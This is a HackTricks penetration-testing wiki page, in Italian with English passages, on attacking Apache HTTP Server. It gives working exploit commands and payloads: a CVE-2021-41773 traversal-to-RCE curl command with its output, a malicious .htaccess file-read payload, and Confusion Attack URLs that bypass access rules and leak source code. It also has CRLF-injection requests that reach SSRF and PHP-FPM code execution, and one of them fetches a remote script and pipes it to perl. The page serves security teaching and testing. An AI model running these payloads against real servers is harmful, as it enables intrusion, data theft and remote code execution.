Apache
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Estensioni PHP eseguibili
Controlla quali estensioni vengono eseguite dal server Apache. Per cercarle puoi eseguire:
grep -R -B1 "httpd-php" /etc/apache2
Inoltre, alcuni posti dove puoi trovare questa configurazione sono:
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
LFI tramite il provider ErrorDocument file di .htaccess (ap_expr)
Se puoi controllare il .htaccess di una directory e AllowOverride include FileInfo per quel percorso, puoi trasformare le risposte 404 in letture arbitrarie di file locali usando la funzione ap_expr file() allâinterno di ErrorDocument.
- Requisiti:
- Apache 2.4 con expression parser (ap_expr) abilitato (default in 2.4).
- Il vhost/dir deve permettere al .htaccess di impostare ErrorDocument (AllowOverride FileInfo).
- Lâutente worker di Apache deve avere permessi di lettura sul file target.
.htaccess payload:
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
Si attiva richiedendo qualsiasi non-existing path sotto quella directory, ad esempio quando si abusa di userdir-style hosting:
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
Notes and tips:
- Funzionano solo percorsi assoluti. Il contenuto viene restituito come corpo della response per il 404 handler.
- I permessi di lettura effettivi sono quelli dellâutente Apache (tipicamente www-data/apache). Non potrai leggere /root/* o /etc/shadow nelle configurazioni di default.
- Anche se .htaccess è root-owned, se la directory padre è tenant-owned e permette la rename, potresti essere in grado di rinominare il .htaccess originale e caricare il tuo sostituto via SFTP/FTP:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Usalo per leggere il sorgente dellâapplicazione sotto DocumentRoot o i percorsi di config vhost per raccogliere secret (DB creds, API keys, etc.).
Confusion Attack
These types of attacks has been introduced and documented by Orange in this blog post and the following is a summary. The âconfusionâ attack basically abuses how the tens of modules that work together creating a Apache donât work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
Filename Confusion
Truncation
The mod_rewrite will trim the content of r->filename after the character ? (modules/mappers/mod_rewrite.c#L4141). This isnât totally wrong as most modules will treat r->filename as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
Path Truncation
Itâs possible to abuse mod_rewrite like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a ?:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
#Â the output of file `/var/user/orange/secret.yml`
- Fuorviare lâassegnazione di RewriteFlag
Nella seguente rewrite rule, finchĂŠ lâURL termina con .php verrĂ trattato ed eseguito come php. Pertanto, è possibile inviare un URL che termina con .php dopo il carattere ? caricando nel percorso un tipo di file diverso (ad esempio unâimmagine) contenente codice php malevolo:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
ACL Bypass
Ă possibile accedere a file ai quali lâutente non dovrebbe poter accedere, anche se lâaccesso dovrebbe essere negato da configurazioni come:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
Questo accade perchĂŠ, per impostazione predefinita, PHP-FPM riceverĂ URL che terminano con .php, come http://server/admin.php%3Fooo.php, e poichĂŠ PHP-FPM rimuove tutto dopo il carattere ?, lâURL precedente permetterĂ di caricare /admin.php anche se la regola precedente lo proibiva.
Confusione su DocumentRoot
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
Un fatto curioso su Apache è che la rewrite precedente tenterà di accedere al file sia da documentRoot che da root. Quindi, una richiesta a https://server/abouth.html controllerà la presenza del file in /var/www/html/about.html e /about.html nel file system. Il che, sostanzialmente, può essere abusato per accedere a file nel file system.
Divulgazione del codice sorgente lato server
- Divulgare il codice sorgente CGI
Basta aggiungere %3F alla fine per leak il codice sorgente di un modulo cgi:
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- Divulgare il codice sorgente PHP
Se un server ha domini diversi con uno di questi che è un dominio statico, questo può essere sfruttato per attraversare il file system e leak php code:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Local Gadgets Manipulation
Il problema principale con lâattacco precedente è che, per impostazione predefinita, la maggior parte degli accessi al filesystem sarĂ negata, come nel configuration template di Apache HTTP Server:
<Directory />
AllowOverride None
Require all denied
</Directory>
Tuttavia, i sistemi operativi Debian/Ubuntu per impostazione predefinita consentono lâaccesso a /usr/share:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Pertanto, sarebbe possibile abusare dei file situati in /usr/share in queste distribuzioni.
Local Gadget to Information Disclosure
- Apache HTTP Server con websocketd può esporre lo script dump-env.php in /usr/share/doc/websocketd/examples/php/, che può leak variabili dâambiente sensibili.
- I server con Nginx o Jetty potrebbero esporre informazioni sensibili delle web application (es., web.xml) tramite le loro root web predefinite posizionate sotto /usr/share:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Local Gadget to XSS
- Su Ubuntu Desktop con LibreOffice installed, sfruttando la funzionalitĂ di cambio lingua dei file di help si può arrivare a Cross-Site Scripting (XSS). Manipolando lâURL in /usr/share/libreoffice/help/help.html si può reindirizzare verso pagine malevole o versioni precedenti tramite unsafe RewriteRule.
Local Gadget to LFI
- Se PHP o certi pacchetti front-end come JpGraph o jQuery-jFeed sono installati, i loro file possono essere sfruttati per leggere file sensibili come /etc/passwd:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Local Gadget to SSRF
- Utilizzando MagpieRSSâs magpie_debug.php in /usr/share/php/magpierss/scripts/magpie_debug.php, si può creare facilmente una vulnerabilitĂ SSRF, fornendo una porta per ulteriori exploit.
Local Gadget to RCE
- Le opportunitĂ per Remote Code Execution (RCE) sono vaste, con installazioni vulnerabili come un PHPUnit obsoleto o phpLiteAdmin. Queste possono essere sfruttate per eseguire codice arbitrario, dimostrando lâampio potenziale della manipolazione dei local gadgets.
Jailbreak from Local Gadgets
Ă inoltre possibile effettuare un jailbreak dalle cartelle consentite seguendo i symlink creati dal software installato in quelle cartelle, ad esempio:
- Cacti Log:
/usr/share/cacti/site/->/var/log/cacti/ - Solr Data:
/usr/share/solr/data/->/var/lib/solr/data - Solr Config:
/usr/share/solr/conf/->/etc/solr/conf/ - MediaWiki Config:
/usr/share/mediawiki/config/->/var/lib/mediawiki/config/ - SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/->/etc/simplesamlphp/
Inoltre, abusando dei symlink è stato possibile ottenere RCE in Redmine.
Handler Confusion
Questo attacco sfrutta la sovrapposizione di funzionalitĂ tra le direttive AddHandler e AddType, che entrambe possono essere usate per abilitare lâesecuzione di PHP. Originariamente, queste direttive agivano su campi diversi (r->handler e r->content_type rispettivamente) nella struttura interna del server. Tuttavia, a causa di codice legacy, Apache tratta queste direttive in modo intercambiabile in certe condizioni, convertendo r->content_type in r->handler se il primo è impostato e il secondo no.
Inoltre, nellâApache HTTP Server (server/config.c#L420), se r->handler è vuoto prima di eseguire ap_run_handler(), il server usa r->content_type come handler, rendendo di fatto AddType e AddHandler identici nellâeffetto.
Overwrite Handler to Disclose PHP Source Code
In this talk è stata presentata una vulnerabilitĂ in cui un Content-Length errato inviato da un client può causare che Apache per errore restituisca il codice sorgente PHP. Ciò era dovuto a un problema di gestione degli errori con ModSecurity e lâApache Portable Runtime (APR), dove una doppia risposta porta a sovrascrivere r->content_type con text/html.
PoichĂŠ ModSecurity non gestisce correttamente i valori di ritorno, restituirebbe il codice PHP senza interpretarlo.
Overwrite Handler to XXXX
TODO: Orange non ha ancora divulgato questa vulnerabilitĂ
Invoke Arbitrary Handlers
Se un attacker è in grado di controllare lâContent-Type header in una risposta del server, sarĂ in grado di invoke arbitrary module handlers. Tuttavia, al punto in cui lâattacker controlla questo, gran parte del processo della richiesta sarĂ giĂ stata eseguita. Ă comunque possibile riavviare il processo di richiesta abusando dellâLocation header perchĂŠ se lo Status restituito è 200 e lâheader Location inizia con /, la risposta viene trattata come una Server-Side Redirection e dovrebbe essere processata.
Secondo RFC 3875 (specifica su CGI) nella Section 6.2.2 viene definito il comportamento di Local Redirect Response:
The CGI script can return a URI path and query-string (âlocal-pathqueryâ) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
Pertanto, per eseguire questo attacco è necessario una delle seguenti vulnerabilità :
- CRLF Injection nei header di risposta CGI
- SSRF con controllo completo degli header di risposta
Arbitrary Handler to Information Disclosure
Per esempio /server-status dovrebbe essere accessibile solo localmente:
<Location /server-status>
SetHandler server-status
Require local
</Location>
Ă possibile accedervi impostando il Content-Type su server-status e lâheader Location che inizi con /.
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Arbitrary Handler to Full SSRF
Reindirizzamento a mod_proxy per accedere a qualsiasi protocollo su qualsiasi URL:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
Tuttavia, lâintestazione X-Forwarded-For viene aggiunta impedendo lâaccesso agli endpoint dei metadata del cloud.
Handler arbitrario per accedere al socket di dominio Unix locale
Accedi al socket di dominio Unix locale di PHP-FPM per eseguire un PHP backdoor situato in /tmp/:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Arbitrary Handler to RCE
Lâimmagine ufficiale PHP Docker include PEAR (Pearcmd.php), uno strumento di gestione pacchetti PHP da riga di comando, che può essere abusato per ottenere RCE:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Consulta Docker PHP LFI Summary, scritto da Phith0n per i dettagli di questa tecnica.
Riferimenti
- https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1
- Apache 2.4 Custom Error Responses (ErrorDocument)
- Apache 2.4 Expressions and functions (file:)
- HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

